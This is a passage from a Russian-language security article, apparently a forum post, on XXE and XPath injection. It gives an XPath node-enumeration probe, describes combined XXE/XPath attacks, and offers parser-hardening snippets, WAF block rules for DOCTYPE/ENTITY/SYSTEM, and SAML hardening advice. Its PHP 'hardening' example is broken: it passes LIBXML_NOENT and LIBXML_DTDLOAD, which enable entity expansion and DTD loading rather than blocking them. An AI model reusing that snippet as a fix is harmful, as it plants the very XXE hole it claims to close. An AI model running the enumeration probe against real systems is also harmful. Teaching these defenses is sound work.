Если у нас есть Boolean-based XPath injection, мы можем вытащить не только имена пользователей, но и все узлы. Для этого нужно знать структуру XML. Если не знаем, можем её перебрать: имена тегов, атрибуты. Используем функции name(), local-name(), namespace-uri().Пример: узнать имя первого дочернего элемента корня:
Код:
name(/*[1])
4.4. Комбинированные атаки
Иногда XXE и XPath могут работать вместе. Например, через XXE мы можем прочитать файл с XML-данными, который используется для XPath-запросов. Или через XPath мы можем записать что-то в XML (если приложение использует XQuery для обновления), что приведёт к XXE при последующем парсинге.5. Защита: Как не быть уязвимым
Теперь о том, как разработчикам и безопасникам закрыть эти дыры. Если ты на стороне атакующего, это поможет понять, на что обращать внимание.5.1. Отключение внешних сущностей
Самое главное - отключить обработку DTD и внешних сущностей в парсере. Примеры для разных языков:Java (DocumentBuilderFactory):
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Python (lxml):
Python:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
tree = etree.parse(xml_file, parser)
PHP:
PHP:
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
C# (.NET):
C#:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(stream, settings);
5.2. Валидация входных данных
- Использовать whitelist разрешённых тегов и атрибутов.
- Не использовать XPath с подстановкой пользовательского ввода. Лучше использовать параметризованные запросы (XPath не поддерживает параметры, но можно использовать переменные через XQuery или предварительную обработку).
- Если XPath неизбежен, экранировать кавычки и специальные символы. Но полная защита сложна, лучше избегать.
5.3. Архитектурные решения
- Использовать JSON вместо XML везде, где возможно. JSON не имеет DTD, и парсеры по умолчанию безопасны (но надо быть осторожным с JSON-инъекциями, это другая тема).
- Если XML необходим, использовать безопасные библиотеки вроде defusedxml в Python.
- Применять WAF с сигнатурами на XXE: блокировать DOCTYPE, ENTITY, SYSTEM в запросах.
5.4. SAML Hardening
- Всегда проверять подпись SAML-сообщений.
- Использовать каноникализацию перед проверкой подписи (чтобы избежать атак с использованием пробелов).
- Отключать DTD в SAML-парсерах.
- Проверять, что XML не содержит DOCTYPE.
5.5. Регулярные тестирования
- Включать XXE и XPath тесты в CI/CD.
- Использовать SAST-сканеры для поиска опасных вызовов парсеров.
- Проводить пентесты с акцентом на XML-векторы.
Заключение
Казалось бы, 2026 год на дворе. Все кричат про GraphQL, REST на JSON, gRPC, protobuf. Но enterprise-миром правят не модные технологии, а те, которые работали последние 20 лет. SOAP-сервисы, SAML-федерации, импорт конфигов в XML - это не баги, а фичи, которые так просто не выпилишь. Потому что за ними стоят многомиллионные интеграции, контракты и бюрократия.И пока какой-нибудь джуниор пилит новый микросервис на Go, в соседнем дата-центре крутится древний Java-монолит с XML-парсером, который никто не трогал со времён выхода JDK 6. И вот этот монолит доверчиво парсит SAML-респонсы, потому что «SAML же подписан, чего бояться?». А мы с тобой знаем, что подпись не спасает от DOCTYPE, если парсер его хавает до проверки подписи.
Вывод: XML - это не мёртвый язык, это спящий гигант. И если ты, как пентестер или AppSec-инженер, не смотришь в его сторону, ты упускаешь огромный пласт уязвимостей.
XML - это как старый друг, который иногда просит в долг. Ты знаешь, что он ненадёжен, но отказать неудобно. В итоге он тебя подставляет. Не давайте XML-парсерам шанса вас подставить. Отключайте внешние сущности, экранируйте ввод, используйте JSON где можно. А если приходится работать с XML - делайте это с холодной головой и горячим сердцем.
Последнее редактирование модератором: